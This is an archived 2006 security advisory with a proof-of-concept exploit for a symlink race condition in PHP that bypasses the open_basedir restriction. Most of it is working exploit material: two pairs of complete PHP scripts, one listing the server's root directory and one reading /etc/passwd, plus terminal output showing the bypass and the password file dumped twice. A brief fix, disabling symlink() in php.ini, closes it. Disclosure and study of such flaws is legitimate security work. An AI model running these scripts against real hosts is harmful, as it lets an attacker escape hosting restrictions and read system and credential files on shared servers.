PHP open_basedir with symlink() function Race Condition PoC exploit

2006-10-09T00:00:00
ID SECURITYVULNS:DOC:14601
Type securityvulns
Reporter Securityvulns
Modified 2006-10-09T00:00:00

Description

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[N]eo [S]ecurity [T]eam [NST] - Advisory #26 - 09/10/06

Program: PHP Homepage: http://www.php.net Vulnerable Versions: PHP 3, 4, 5 Risk: High! Impact: Critical Risk

-==PHP open_basedir with symlink() function Race Condition PoC exploit==-

- Description

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.

- Tested

localhost - PHP 5.0.4

- Vulnerability Description

The vulnerability was discovered by the staff of Hardened-PHP (www.hardened-php.net). You can see the original advisory in http://www.hardened-php.net/advisory_082006.132.html.

The point isn't all like the Hardened people said:

"The first script alternates a symbolic link between a file that is allowed and the one that is forbidden by open_basedir and the second script simply puts loops around operations trying to operate on the symbolic link."

We don't need to alternate the symlink beetwen an allowed file an a forbidden one. In this PoC you can see that the symlink doesn't point to an allowed file in the loop.

script1.php <? symlink("a/a/a/a/a/a/", "dummy"); symlink("dummy/../../../../../../", "xxx"); unlink("dummy"); while (1) { symlink(".", "dummy"); unlink("dummy"); } ?>

script2.php <? @print_r(scandir("/")); // open_basedir restriction doesn't let us to see the root dir content // scandir() is a PHP 5 function. You can use another function of the other versions to work on the directory while (1) { $dir=@scandir("xxx"); if (@count($dir) > 20) print_r($dir); // the main dir have more than 20 folders } ?>

--Real Proof of Concept exploit-- [root@fc43035 race_condition]# php script1.php & [1] 7942 PHP Warning: Module 'gd' already loaded in Unknown on line 0 [root@fc43035 race_condition]# php script2.php PHP Warning: Module 'gd' already loaded in Unknown on line 0 PHP Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) in /var/www/vhosts/foo/race_condition/script2.php on line 2 PHP Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2 PHP Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) in /var/www/vhosts/foo/race_condition/script2.php on line 3

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) in /var/www/vhosts/foo/race_condition/script2.php on line 3 PHP Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 3

Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 3 PHP Warning: scandir(): (errno 1): Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 3

Warning: scandir(): (errno 1): Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 3 Array ( [0] => . [1] => .. [2] => .autofsck [3] => .autorelabel [4] => bin [5] => boot [6] => chroot [7] => dev [8] => etc [9] => home [10] => lib [11] => lib64 [12] => lost+found [13] => media [14] => misc [15] => mnt [16] => net [17] => opt [18] => proc [19] => root [20] => sbin [21] => selinux [22] => srv [23] => sys [24] => tmp [25] => usr [26] => var ) Array ( [0] => . [1] => .. [2] => .autofsck [3] => .autorelabel [4] => bin [5] => boot [6] => chroot [7] => dev [8] => etc [9] => home [10] => lib [11] => lib64 [12] => lost+found [13] => media [14] => misc [15] => mnt [16] => net [17] => opt [18] => proc [19] => root [20] => sbin [21] => selinux [22] => srv [23] => sys [24] => tmp [25] => usr [26] => var )

[root@fc43035 race_condition]# --Real Proof of Concept exploit--

We finally bypass the open_basedir restriction and we read the main dir content. Also we can read a file, like /etc/passwd.

In the third line of script1.php we make the symbolic link to ./etc/passwd so we have to create a folder named "etc" with a file named "passwd" inside:

[root@fc43035 race_condition]# ls a etc script1.php script2.php script.php [root@fc43035 race_condition]# cd etc [root@fc43035 etc]# ls passwd [root@fc43035 etc]# cd .. [root@fc43035 race_condition]#

Then the script1.php is equal than the first one. We have just to change the symbolic link to "dummy/../../../../../../etc/passwd". In the script2.php we try to read the file ("xxx" link) with the file_get_contents() function.

script1.php <? symlink("a/a/a/a/a/a/", "dummy"); symlink("dummy/../../../../../../etc/passwd", "xxx"); unlink("dummy"); while (1) { symlink(".", "dummy"); unlink("dummy"); } ?>

script2.php <? while (1) { print @file_get_contents("xxx"); } ?>

--Real Proof of Concept exploit-- [root@fc43035 race_condition]# php script1.php & [1] 9979 PHP Warning: Module 'gd' already loaded in Unknown on line 0 [root@fc43035 race_condition]# php script2.php PHP Warning: Module 'gd' already loaded in Unknown on line 0 PHP Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) in /var/www/vhosts/foo/race_condition/script2.php on line 2 PHP Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin apache:x:48:48:Apache:/var/wwww/htdocs:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash ntp:x:38:38::/etc/ntp:/sbin/nologin ftp:x:22222:0:root:/root:/bin/false cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin apache:x:48:48:Apache:/var/wwww/htdocs:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash ntp:x:38:38::/etc/ntp:/sbin/nologin ftp:x:22222:0:root:/root:/bin/false cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash

--Real Proof of Concept exploit--

You can see that the /etc/passwd is readed two times and a lot more if we don't stop the script execution.

- How to fix it? More information?

Like the Hardened-PHP staff said, you have to disallow the use of symlink() function. You can do this using the disable_functions directive in your php configuration (php.ini by default):

disable_functions = ...,symlink;

- References

http://www.neosecurityteam.net/index.php?action=advisories&id=26 http://www.hardened-php.net/advisory_082006.132.html

- Credits

Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com Vulnerability discovered by Hardened-PHP staff (http://www.hardened-php.net)

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/

- Greets

HaCkZaTaN K4P0 Daemon21 Link 0m3gA_x LINUX nitrous m0rpheus nikyt0x KingMetal

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

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